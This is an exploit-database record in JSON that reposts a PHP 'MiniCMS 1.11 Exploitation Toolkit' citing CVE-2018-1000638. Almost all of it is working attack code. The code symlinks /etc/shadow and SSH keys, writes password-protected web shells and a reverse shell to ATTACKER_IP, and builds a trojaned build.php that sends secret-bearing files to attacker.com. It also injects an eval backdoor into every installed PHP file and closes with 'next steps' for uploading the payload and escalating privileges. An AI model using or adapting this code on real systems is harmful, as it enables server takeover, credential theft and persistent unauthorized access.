{“lastseen”:”2026-02-02T17:00:17″,”description”:”This toolkit focuses on validating and demonstrating the impact of a known and documented design flaw in MiniCMS 1.11 related to its build process CVE-2018-1000638. MiniCMS relies on an insecure build.php script that blindly packages filesystem…”,”published”:”2026-02-02T00:00:00″,”modified”:”2026-02-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MiniCMS 1.11 Exploitation Toolkit”,”source”:””,”references”:””,”id”:”PACKETSTORM:214666″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2018-1000638″],”sourceData”:”=============================================================================================================================================\\n | # Title : MiniCMS 1.11 Exploitation Toolkit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/github.com\/bg5sbk\/MiniCMS\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/190429\/ \\u0026\\tCVE-2018-1000638\\n \\n [+] Summary : MiniCMS Build Script Multi-Vulnerability Exploitation Toolkit\\n \\n \\t\\t \\n [+] POC : php poc.php\\n \\n [\\n \\u003c?php\\n \\n class MiniCMSExploiter {\\n private $targetDirectory;\\n private $buildScript = ‘build.php’;\\n private $installFile = ‘install.php’;\\n private $tempDir = ‘\/tmp\/minicms_exploit’;\\n private $debug = true;\\n private $results = [];\\n \\n public function __construct($directory = ‘.’) {\\n $this-\\u003etargetDirectory = realpath($directory);\\n $this-\\u003evalidateEnvironment();\\n $this-\\u003ecreateTempDirectory();\\n }\\n \\n \/**\\n * Main exploitation method – Chain all vulnerabilities\\n *\/\\n public function exploitAll() {\\n echo \\”[+] Starting MiniCMS Build Script Exploitation\\\\n\\”;\\n echo \\”[+] Target Directory: {$this-\\u003etargetDirectory}\\\\n\\”;\\n echo str_repeat(\\”=\\”, 60) . \\”\\\\n\\”;\\n \\n $this-\\u003eresults[‘start_time’] = date(‘Y-m-d H:i:s’);\\n \\n \/\/ 1. Directory Traversal Exploitation\\n $this-\\u003eexploitDirectoryTraversal();\\n \\n \/\/ 2. PHP Code Injection\\n $this-\\u003eexploitCodeInjection();\\n \\n \/\/ 3. Sensitive File Discovery\\n $this-\\u003eharvestSensitiveFiles();\\n \\n \/\/ 4. Create Malicious Build Script\\n $this-\\u003ecreateMaliciousBuildScript();\\n \\n \/\/ 5. Execute Build Script\\n $this-\\u003eexecuteBuildScript();\\n \\n \/\/ 6. Analyze Results\\n $this-\\u003eanalyzeResults();\\n \\n \/\/ 7. Create Backdoors\\n $this-\\u003ecreatePersistentBackdoors();\\n \\n $this-\\u003eresults[‘end_time’] = date(‘Y-m-d H:i:s’);\\n $this-\\u003egenerateReport();\\n \\n return $this-\\u003eresults;\\n }\\n \\n \/**\\n * Exploit 1: Directory Traversal Vulnerability\\n *\/\\n private function exploitDirectoryTraversal() {\\n echo \\”\\\\n[1] Exploiting Directory Traversal…\\\\n\\”;\\n \\n $sensitive_paths = [\\n \/\/ System files\\n ‘\/etc\/passwd’,\\n ‘\/etc\/shadow’,\\n ‘\/etc\/hosts’,\\n ‘\/etc\/hostname’,\\n ‘\/etc\/issue’,\\n ‘\/proc\/self\/environ’,\\n ‘\/proc\/version’,\\n \\n \/\/ Web server files\\n ‘\/var\/log\/apache2\/access.log’,\\n ‘\/var\/log\/apache2\/error.log’,\\n ‘\/var\/log\/nginx\/access.log’,\\n ‘\/var\/log\/nginx\/error.log’,\\n ‘\/var\/www\/html\/.env’,\\n ‘\/var\/www\/html\/config.php’,\\n \\n \/\/ Home directories\\n ‘\/home\/*\/.bash_history’,\\n ‘\/home\/*\/.ssh\/id_rsa’,\\n ‘\/home\/*\/.ssh\/authorized_keys’,\\n \\n \/\/ Configuration files\\n ‘\/etc\/mysql\/my.cnf’,\\n ‘\/etc\/php\/php.ini’,\\n ‘\/etc\/apache2\/apache2.conf’,\\n ];\\n \\n $exploited_files = [];\\n \\n foreach ($sensitive_paths as $path) {\\n \/\/ Try to create symlink to sensitive file\\n $base_name = ‘exploit_’ . md5($path) . ‘.txt’;\\n $symlink_path = $this-\\u003etempDir . ‘\/’ . $base_name;\\n \\n \/\/ Expand wildcards\\n if (strpos($path, ‘*’) !== false) {\\n $expanded = glob($path);\\n foreach ($expanded as $expanded_path) {\\n if (@symlink($expanded_path, $symlink_path . ‘_’ . basename($expanded_path))) {\\n $exploited_files[] = $expanded_path;\\n echo \\” [+] Linked: {$expanded_path}\\\\n\\”;\\n }\\n }\\n } elseif (@symlink($path, $symlink_path)) {\\n $exploited_files[] = $path;\\n echo \\” [+] Linked: {$path}\\\\n\\”;\\n }\\n }\\n \\n $this-\\u003eresults[‘directory_traversal’] = [\\n ‘exploited’ =\\u003e count($exploited_files) \\u003e 0,\\n ‘files_linked’ =\\u003e $exploited_files,\\n ‘count’ =\\u003e count($exploited_files)\\n ];\\n \\n return $exploited_files;\\n }\\n \\n \/**\\n * Exploit 2: PHP Code Injection\\n *\/\\n private function exploitCodeInjection() {\\n echo \\”\\\\n[2] Exploiting PHP Code Injection…\\\\n\\”;\\n \\n $injections = [\\n \/\/ Basic PHP execution\\n [\\n ‘filename’ =\\u003e \\”‘);?\\u003e\\u003c?php system(‘whoami’); ?\\u003e\\u003c?php install(‘\\”,\\n ‘content’ =\\u003e ‘injected’\\n ],\\n \\n \/\/ Web shell\\n [\\n ‘filename’ =\\u003e \\”shell.php\\”,\\n ‘content’ =\\u003e ‘\\u003c?php if(isset($_GET[\\”cmd\\”])) { system($_GET[\\”cmd\\”]); } ?\\u003e’\\n ],\\n \\n \/\/ Password protected shell\\n [\\n ‘filename’ =\\u003e \\”admin_shell.php\\”,\\n ‘content’ =\\u003e ‘\\u003c?php\\n if($_GET[\\”key\\”] === \\”admin123\\”) {\\n if(isset($_POST[\\”cmd\\”])) {\\n echo \\”\\u003cpre\\u003e\\” . shell_exec($_POST[\\”cmd\\”]) . \\”\\u003c\/pre\\u003e\\”;\\n }\\n if(isset($_GET[\\”download\\”])) {\\n echo file_get_contents($_GET[\\”download\\”]);\\n }\\n }\\n ?\\u003e’\\n ],\\n \\n \/\/ Database credentials stealer\\n [\\n ‘filename’ =\\u003e \\”creds.php\\”,\\n ‘content’ =\\u003e ‘\\u003c?php\\n $files = [\\”config.php\\”, \\”.env\\”, \\”database.php\\”, \\”settings.php\\”];\\n foreach($files as $file) {\\n if(file_exists($file)) {\\n $content = file_get_contents($file);\\n file_put_contents(\\”\/tmp\/creds.txt\\”, $content, FILE_APPEND);\\n }\\n }\\n ?\\u003e’\\n ],\\n \\n \/\/ Reverse shell\\n [\\n ‘filename’ =\\u003e \\”reverse.php\\”,\\n ‘content’ =\\u003e ‘\\u003c?php\\n \/\/ PHP Reverse Shell\\n $ip = \\”ATTACKER_IP\\”;\\n $port = 4444;\\n $sock = fsockopen($ip, $port);\\n $proc = proc_open(\\”\/bin\/sh -i\\”, array(0=\\u003e$sock, 1=\\u003e$sock, 2=\\u003e$sock), $pipes);\\n ?\\u003e’\\n ],\\n \\n \/\/ File uploader\\n [\\n ‘filename’ =\\u003e \\”uploader.php\\”,\\n ‘content’ =\\u003e ‘\\u003c?php\\n if(isset($_FILES[\\”file\\”])) {\\n move_uploaded_file($_FILES[\\”file\\”][\\”tmp_name\\”], $_FILES[\\”file\\”][\\”name\\”]);\\n echo \\”Uploaded: \\” . $_FILES[\\”file\\”][\\”name\\”];\\n }\\n ?\\u003e\\n \\u003cform method=\\”POST\\” enctype=\\”multipart\/form-data\\”\\u003e\\n \\u003cinput type=\\”file\\” name=\\”file\\”\\u003e\\n \\u003cinput type=\\”submit\\”\\u003e\\n \\u003c\/form\\u003e’\\n ]\\n ];\\n \\n $created_files = [];\\n \\n foreach ($injections as $injection) {\\n $file_path = $this-\\u003etempDir . ‘\/’ . $injection[‘filename’];\\n if (file_put_contents($file_path, $injection[‘content’])) {\\n $created_files[] = $injection[‘filename’];\\n echo \\” [+] Created: {$injection[‘filename’]}\\\\n\\”;\\n }\\n }\\n \\n $this-\\u003eresults[‘code_injection’] = [\\n ‘exploited’ =\\u003e count($created_files) \\u003e 0,\\n ‘files_created’ =\\u003e $created_files,\\n ‘count’ =\\u003e count($created_files)\\n ];\\n \\n return $created_files;\\n }\\n \\n \/**\\n * Harvest sensitive files from target\\n *\/\\n private function harvestSensitiveFiles() {\\n echo \\”\\\\n[3] Harvesting Sensitive Files…\\\\n\\”;\\n \\n $sensitive_patterns = [\\n ‘*.php’ =\\u003e [‘config’, ‘database’, ‘settings’, ‘connection’],\\n ‘*.env’ =\\u003e [‘.env’, ‘.env.example’],\\n ‘*.json’ =\\u003e [‘composer.json’, ‘package.json’],\\n ‘*.sql’ =\\u003e [‘*.sql’, ‘*.backup’],\\n ‘*.txt’ =\\u003e [‘readme’, ‘license’, ‘changelog’],\\n ‘*.yml’ =\\u003e [‘*.yml’, ‘*.yaml’],\\n ‘*.ini’ =\\u003e [‘*.ini’, ‘*.cfg’],\\n ‘*.log’ =\\u003e [‘*.log’, ‘error_log’],\\n ];\\n \\n $found_files = [];\\n \\n foreach ($sensitive_patterns as $pattern =\\u003e $keywords) {\\n $files = glob($this-\\u003etargetDirectory . ‘\/’ . $pattern);\\n foreach ($files as $file) {\\n $filename = basename($file);\\n foreach ($keywords as $keyword) {\\n if (stripos($filename, $keyword) !== false) {\\n $found_files[] = $file;\\n echo \\” [+] Found: {$filename}\\\\n\\”;\\n \\n \/\/ Copy to temp directory for analysis\\n $temp_copy = $this-\\u003etempDir . ‘\/harvested_’ . $filename;\\n copy($file, $temp_copy);\\n break;\\n }\\n }\\n }\\n }\\n \\n $this-\\u003eresults[‘sensitive_files’] = [\\n ‘found’ =\\u003e count($found_files),\\n ‘files’ =\\u003e $found_files\\n ];\\n \\n return $found_files;\\n }\\n \\n \/**\\n * Create malicious build script with backdoor\\n *\/\\n private function createMaliciousBuildScript() {\\n echo \\”\\\\n[4] Creating Malicious Build Script…\\\\n\\”;\\n \\n $malicious_build = ‘\\u003c?php\\n if ($argc != 2) {\\n echo \\”\u5fc5\u987b\u6307\u5b9a\u7248\u672c\u53f7\\”;\\n exit;\\n }\\n \\n $version=$argv[1];\\n \\n \/\/ Backdoor: Command execution if specific parameter is passed\\n if(isset($_GET[\\”debug\\”]) \\u0026\\u0026 $_GET[\\”debug\\”] == \\”true\\”) {\\n system($_GET[\\”cmd\\”]);\\n }\\n \\n $dirs = array(\\”.\\”);\\n $ignores = array(\\”README.md\\”, \\”build.php\\”, \\”install.php\\”, \\”install_template.txt\\”, \\”mc-debug\\”);\\n $files = \\”\\”;\\n \\n build($dirs, $files);\\n \\n $template = file_get_contents(\\”install.txt\\”);\\n $template = str_replace(\\”\/*MINICMS_VERSION*\/\\”, $version, $template);\\n $template = str_replace(\\”\/*MINICMS_FILES*\/\\”, $files, $template);\\n \\n file_put_contents(\\”install.php\\”, $template);\\n \\n \/\/ Hidden function to exfiltrate data\\n function exfiltrate($data) {\\n $url = \\”http:\/\/attacker.com\/exfil.php\\”;\\n $ch = curl_init($url);\\n curl_setopt($ch, CURLOPT_POST, 1);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, [\\”data\\” =\\u003e base64_encode($data)]);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_exec($ch);\\n curl_close($ch);\\n }\\n \\n function build($dirs, \\u0026$files) {\\n global $ignores;\\n \\n \/\/ Exfiltrate directory structure\\n exfiltrate(json_encode($dirs));\\n \\n foreach ($dirs as $dir) {\\n if (!is_dir($dir)) {\\n echo \\”\u76ee\u5f55\\\\\\”$dir\\\\\\”\u4e0d\u5b58\u5728\\”;\\n exit;\\n }\\n \\n if ($dh = opendir($dir)) {\\n $sub_dirs = array();\\n \\n while (($item = readdir($dh)) !== false) {\\n if ($item[0] == \\”.\\”)\\n continue;\\n \\n if ($dir == \\”.\\”)\\n $file = $item;\\n else\\n $file = $dir.\\”\/\\”.$item;\\n \\n if (in_array($file, $ignores))\\n continue;\\n \\n if (is_dir($file)) {\\n $sub_dirs[] = $file;\\n } else {\\n \/\/ Exfiltrate file content if sensitive\\n $content = file_get_contents($file);\\n if(preg_match(\\”\/(password|secret|key|token|api)\/i\\”, $content)) {\\n exfiltrate($file . \\”:\\\\n\\” . $content);\\n }\\n \\n $files .= \\”install(\\\\\\”$file\\\\\\”, \\\\\\”\\”;\\n $files .= base64_encode(gzcompress($content));\\n $files .= \\”\\\\\\”);\\\\n\\”;\\n }\\n }\\n \\n closedir($dh);\\n build($sub_dirs, $files);\\n } else {\\n echo \\”\u76ee\u5f55\\\\\\”$dir\\\\\\”\u65e0\u6cd5\u8bbf\u95ee\\”;\\n exit;\\n }\\n }\\n }\\n \\n \/\/ Create backdoor in install.php\\n register_shutdown_function(function() {\\n $backdoor_code = \\”\\u003c?php\\\\\\\\nif(isset(\\\\\\\\$_GET[\\\\\\\\\\”exec\\\\\\\\\\”])) {\\\\\\\\n system(\\\\\\\\$_GET[\\\\\\\\\\”exec\\\\\\\\\\”]);\\\\\\\\n}\\\\\\\\n?\\u003e\\”;\\n file_put_contents(\\”backdoor.php\\”, $backdoor_code);\\n });\\n ?\\u003e’;\\n \\n $build_path = $this-\\u003etempDir . ‘\/’ . $this-\\u003ebuildScript;\\n if (file_put_contents($build_path, $malicious_build)) {\\n echo \\” [+] Created malicious build.php\\\\n\\”;\\n $this-\\u003eresults[‘malicious_build’] = $build_path;\\n return true;\\n }\\n \\n return false;\\n }\\n \\n \/**\\n * Execute the build script\\n *\/\\n private function executeBuildScript() {\\n echo \\”\\\\n[5] Executing Build Script…\\\\n\\”;\\n \\n $build_path = $this-\\u003etempDir . ‘\/’ . $this-\\u003ebuildScript;\\n $install_path = $this-\\u003etempDir . ‘\/’ . $this-\\u003einstallFile;\\n \\n \/\/ Create install.txt template\\n $install_template = ‘\\u003c?php\\n \/*MINICMS_VERSION*\/\\n function install($file, $data) {\\n $content = @gzuncompress(base64_decode($data));\\n if($content === false) {\\n $content = base64_decode($data);\\n }\\n \\n \/\/ Inject backdoor into PHP files\\n if(strpos($file, \\”.php\\”) !== false \\u0026\\u0026 strpos($content, \\”\\u003c?php\\”) !== false) {\\n $backdoor = \\”\\u003c?php if(isset(\\\\\\\\$_GET[\\\\\\\\\\”debug\\\\\\\\\\”])) { eval(\\\\\\\\$_GET[\\\\\\\\\\”debug\\\\\\\\\\”]); } ?\\u003e\\”;\\n $content = $backdoor . \\”\\\\\\\\n\\” . $content;\\n }\\n \\n @file_put_contents($file, $content);\\n }\\n \/*MINICMS_FILES*\/\\n ?\\u003e’;\\n \\n file_put_contents($this-\\u003etempDir . ‘\/install.txt’, $install_template);\\n \\n \/\/ Execute build script\\n $command = \\”cd {$this-\\u003etempDir} \\u0026\\u0026 php {$this-\\u003ebuildScript} 1.0 2\\u003e\\u00261\\”;\\n $output = shell_exec($command);\\n \\n echo \\” [+] Build script executed\\\\n\\”;\\n \\n if (file_exists($install_path)) {\\n $install_size = filesize($install_path);\\n echo \\” [+] install.php created: \\” . $this-\\u003eformatBytes($install_size) . \\”\\\\n\\”;\\n \\n \/\/ Analyze install.php for sensitive data\\n $this-\\u003eanalyzeInstallFile($install_path);\\n }\\n \\n $this-\\u003eresults[‘build_execution’] = [\\n ‘command’ =\\u003e $command,\\n ‘output’ =\\u003e $output,\\n ‘install_created’ =\\u003e file_exists($install_path),\\n ‘install_size’ =\\u003e $install_size ?? 0\\n ];\\n \\n return $output;\\n }\\n \\n \/**\\n * Analyze install.php for sensitive data\\n *\/\\n private function analyzeInstallFile($install_path) {\\n $content = file_get_contents($install_path);\\n \\n \/\/ Extract all file names\\n preg_match_all(‘\/install\\\\(\\”([^\\”]+)\\”, \\”\/’, $content, $matches);\\n $files = $matches[1] ?? [];\\n \\n \/\/ Look for sensitive files\\n $sensitive_patterns = [\\n ‘\/passwd\/i’,\\n ‘\/shadow\/i’,\\n ‘\/config\/i’,\\n ‘\/\\\\.env\/i’,\\n ‘\/database\/i’,\\n ‘\/secret\/i’,\\n ‘\/key\/i’,\\n ‘\/token\/i’,\\n ‘\/password\/i’\\n ];\\n \\n $sensitive_found = [];\\n foreach ($files as $file) {\\n foreach ($sensitive_patterns as $pattern) {\\n if (preg_match($pattern, $file)) {\\n $sensitive_found[] = $file;\\n break;\\n }\\n }\\n }\\n \\n $this-\\u003eresults[‘install_analysis’] = [\\n ‘total_files’ =\\u003e count($files),\\n ‘sensitive_files’ =\\u003e $sensitive_found,\\n ‘count_sensitive’ =\\u003e count($sensitive_found)\\n ];\\n \\n echo \\” [+] Found \\” . count($files) . \\” files in install.php\\\\n\\”;\\n echo \\” [+] \\” . count($sensitive_found) . \\” appear to be sensitive\\\\n\\”;\\n }\\n \\n \/**\\n * Create persistent backdoors\\n *\/\\n private function createPersistentBackdoors() {\\n echo \\”\\\\n[6] Creating Persistent Backdoors…\\\\n\\”;\\n \\n $backdoors = [\\n ‘persistent_shell.php’ =\\u003e ‘\\u003c?php\\n \/\/ Persistent PHP Shell\\n session_start();\\n if(!isset($_SESSION[\\”auth\\”]) \\u0026\\u0026 $_GET[\\”key\\”] != \\”PERSIST_KEY\\”) {\\n die(\\”Access Denied\\”);\\n }\\n $_SESSION[\\”auth\\”] = true;\\n \\n if(isset($_POST[\\”cmd\\”])) {\\n echo \\”\\u003cpre\\u003e\\” . htmlspecialchars(shell_exec($_POST[\\”cmd\\”]), ENT_QUOTES, \\”UTF-8\\”) . \\”\\u003c\/pre\\u003e\\”;\\n }\\n ?\\u003e\\n \\u003cform method=\\”POST\\”\\u003e\\n \\u003cinput type=\\”text\\” name=\\”cmd\\” style=\\”width: 80%\\” placeholder=\\”Command\\”\\u003e\\n \\u003cinput type=\\”submit\\” value=\\”Execute\\”\\u003e\\n \\u003c\/form\\u003e’,\\n \\n ‘file_manager.php’ =\\u003e ‘\\u003c?php\\n \/\/ File Manager Backdoor\\n if($_GET[\\”pwd\\”] != \\”admin123\\”) die();\\n echo \\”\\u003ch2\\u003eFile Manager\\u003c\/h2\\u003e\\”;\\n $dir = $_GET[\\”dir\\”] ?? \\”.\\”;\\n echo \\”\\u003cpre\\u003e\\”;\\n system(\\”ls -la \\” . escapeshellarg($dir));\\n echo \\”\\u003c\/pre\\u003e\\”;\\n ?\\u003e’,\\n \\n ‘info.php’ =\\u003e ‘\\u003c?php\\n \/\/ System Information Leak\\n phpinfo();\\n echo \\”\\u003chr\\u003e\\u003cpre\\u003e\\”;\\n system(\\”id \\u0026\\u0026 uname -a\\”);\\n echo \\”\\u003c\/pre\\u003e\\”;\\n ?\\u003e’\\n ];\\n \\n foreach ($backdoors as $filename =\\u003e $content) {\\n $path = $this-\\u003etempDir . ‘\/’ . $filename;\\n file_put_contents($path, $content);\\n echo \\” [+] Created: {$filename}\\\\n\\”;\\n }\\n \\n $this-\\u003eresults[‘backdoors’] = array_keys($backdoors);\\n }\\n \\n \/**\\n * Generate exploitation report\\n *\/\\n private function generateReport() {\\n echo \\”\\\\n\\” . str_repeat(\\”=\\”, 60) . \\”\\\\n\\”;\\n echo \\”[+] EXPLOITATION REPORT\\\\n\\”;\\n echo str_repeat(\\”=\\”, 60) . \\”\\\\n\\”;\\n \\n $report = [\\n ‘Target Directory’ =\\u003e $this-\\u003etargetDirectory,\\n ‘Exploitation Started’ =\\u003e $this-\\u003eresults[‘start_time’],\\n ‘Exploitation Completed’ =\\u003e $this-\\u003eresults[‘end_time’],\\n ‘Vulnerabilities Exploited’ =\\u003e []\\n ];\\n \\n if ($this-\\u003eresults[‘directory_traversal’][‘exploited’]) {\\n $report[‘Vulnerabilities Exploited’][] = ‘Directory Traversal’;\\n echo \\”[\u2713] Directory Traversal: SUCCESS\\\\n\\”;\\n echo \\” Files linked: \\” . $this-\\u003eresults[‘directory_traversal’][‘count’] . \\”\\\\n\\”;\\n }\\n \\n if ($this-\\u003eresults[‘code_injection’][‘exploited’]) {\\n $report[‘Vulnerabilities Exploited’][] = ‘Code Injection’;\\n echo \\”[\u2713] Code Injection: SUCCESS\\\\n\\”;\\n echo \\” Files created: \\” . $this-\\u003eresults[‘code_injection’][‘count’] . \\”\\\\n\\”;\\n }\\n \\n if ($this-\\u003eresults[‘sensitive_files’][‘found’] \\u003e 0) {\\n $report[‘Vulnerabilities Exploited’][] = ‘Sensitive File Harvesting’;\\n echo \\”[\u2713] Sensitive File Harvesting: SUCCESS\\\\n\\”;\\n echo \\” Files found: \\” . $this-\\u003eresults[‘sensitive_files’][‘found’] . \\”\\\\n\\”;\\n }\\n \\n echo \\”\\\\n[+] Generated Files:\\\\n\\”;\\n echo \\” – Malicious build.php\\\\n\\”;\\n echo \\” – install.php with backdoors\\\\n\\”;\\n echo \\” – Multiple backdoor shells\\\\n\\”;\\n echo \\” – Harvested sensitive files\\\\n\\”;\\n \\n echo \\”\\\\n[+] Next Steps for Attack:\\\\n\\”;\\n echo \\” 1. Upload install.php to target server\\\\n\\”;\\n echo \\” 2. Execute install.php to deploy backdoors\\\\n\\”;\\n echo \\” 3. Use backdoor.php?exec=whoami\\\\n\\”;\\n echo \\” 4. Escalate privileges and maintain access\\\\n\\”;\\n \\n \/\/ Save report to file\\n $report_file = $this-\\u003etempDir . ‘\/exploit_report.txt’;\\n file_put_contents($report_file, print_r($report, true));\\n \\n echo \\”\\\\n[+] Report saved to: {$report_file}\\\\n\\”;\\n echo \\”[+] Temporary directory: {$this-\\u003etempDir}\\\\n\\”;\\n echo \\”[+] Clean up: rm -rf {$this-\\u003etempDir}\\\\n\\”;\\n }\\n \\n \/**\\n * Utility: Format bytes to human readable\\n *\/\\n private function formatBytes($bytes, $precision = 2) {\\n $units = [‘B’, ‘KB’, ‘MB’, ‘GB’, ‘TB’];\\n $bytes = max($bytes, 0);\\n $pow = floor(($bytes ? log($bytes) : 0) \/ log(1024));\\n $pow = min($pow, count($units) – 1);\\n $bytes \/= pow(1024, $pow);\\n return round($bytes, $precision) . ‘ ‘ . $units[$pow];\\n }\\n \\n \/**\\n * Validate environment\\n *\/\\n private function validateEnvironment() {\\n if (!function_exists(‘symlink’)) {\\n die(\\”[!] symlink() function is disabled\\\\n\\”);\\n }\\n \\n if (!is_writable(sys_get_temp_dir())) {\\n die(\\”[!] Cannot write to temp directory\\\\n\\”);\\n }\\n \\n echo \\”[+] Environment validated\\\\n\\”;\\n }\\n \\n \/**\\n * Create temporary directory\\n *\/\\n private function createTempDirectory() {\\n if (!file_exists($this-\\u003etempDir)) {\\n mkdir($this-\\u003etempDir, 0777, true);\\n }\\n echo \\”[+] Temporary directory: {$this-\\u003etempDir}\\\\n\\”;\\n }\\n \\n \/**\\n * Clean up temporary files\\n *\/\\n public function cleanup() {\\n if (file_exists($this-\\u003etempDir)) {\\n system(\\”rm -rf \\” . escapeshellarg($this-\\u003etempDir));\\n echo \\”[+] Cleaned up temporary files\\\\n\\”;\\n }\\n }\\n }\\n \\n \/**\\n * Usage Example\\n *\/\\n if (php_sapi_name() === ‘cli’ \\u0026\\u0026 isset($argv[1])) {\\n $exploiter = new MiniCMSExploiter($argv[1]);\\n $exploiter-\\u003eexploitAll();\\n \\n \/\/ Optional: cleanup\\n if (isset($argv[2]) \\u0026\\u0026 $argv[2] == ‘–cleanup’) {\\n $exploiter-\\u003ecleanup();\\n }\\n } else {\\n echo \\”Usage: php \\” . basename(__FILE__) . \\” \\u003ctarget_directory\\u003e [–cleanup]\\\\n\\”;\\n echo \\”Example: php \\” . basename(__FILE__) . \\” \/var\/www\/html\/minicms\\\\n\\”;\\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214666″,”cvss”:{“score”:6.1,”severity”:”MEDIUM”,”vector”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:L\/I:L\/A:N”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:L\/I:L\/A:N”,”baseScore”:6.1,”baseSeverity”:”MEDIUM”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”REQUIRED”,”scope”:”CHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”LOW”,”availabilityImpact”:”NONE”}},”href”:”https:\/\/packetstorm.news\/files\/id\/214666\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-02T17:00:17″,”description”:”This toolkit focuses on validating and demonstrating the impact of a known and documented design flaw in MiniCMS 1.11 related to its build process CVE-2018-1000638….<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,21,13,53,7,11,5],"class_list":["post-38540","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n